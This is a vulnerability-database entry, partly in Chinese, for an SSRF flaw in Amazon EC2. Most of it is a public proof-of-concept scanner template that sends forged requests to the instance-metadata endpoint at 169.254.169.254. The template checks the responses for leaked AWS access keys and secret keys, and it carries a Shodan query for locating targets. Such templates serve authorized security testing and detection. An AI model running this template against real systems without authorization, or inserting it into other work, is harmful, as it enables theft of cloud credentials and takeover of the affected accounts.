amazon-ec2-ssrf: Amazon EC2 - Server-side request forgery (SSRF)

日期: 2025-08-01 | 影响软件: Amazon EC2 | POC: 已公开

漏洞描述

SSRF vulnerability exists in Amazon EC2, or Amazon Elastic Compute Cloud which is a web service provided by Amazon Web Services (AWS) that offers resizable compute capacity in the cloud.

PoC代码[已公开]

id: amazon-ec2-ssrf

info:
  name: Amazon EC2 - Server-side request forgery (SSRF)
  author: DhiyaneshDk
  severity: critical
  description: SSRF vulnerability exists in Amazon EC2, or Amazon Elastic Compute Cloud which is a web service provided by Amazon Web Services (AWS) that offers resizable compute capacity in the cloud.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
    cvss-score: 9.3
    cwe-id: CWE-441
  metadata:
    verified: true
    max-request: 2
    shodan-query: "Server: EC2ws"
  tags: aws,ec2,ssrf,amazon,vuln

http:
  - raw:
      - |+
        GET {{BaseURL}}/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance HTTP/1.1
        Host: {{Hostname}}

      - |+
        @tls-sni: {{Hostname}}
        GET http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    unsafe: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "AccessKeyId"
          - "SecretAccessKey"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022031b77ef8cf7efdd4ced08483051c4728e37add6cc361b86477687c5c1ee12a63022100d9036ac6244f750b8651690d8229487c2b853566478ad255049ae2bc2f0d9803:922c64590222798bb761d5b6d8e72950

相关漏洞推荐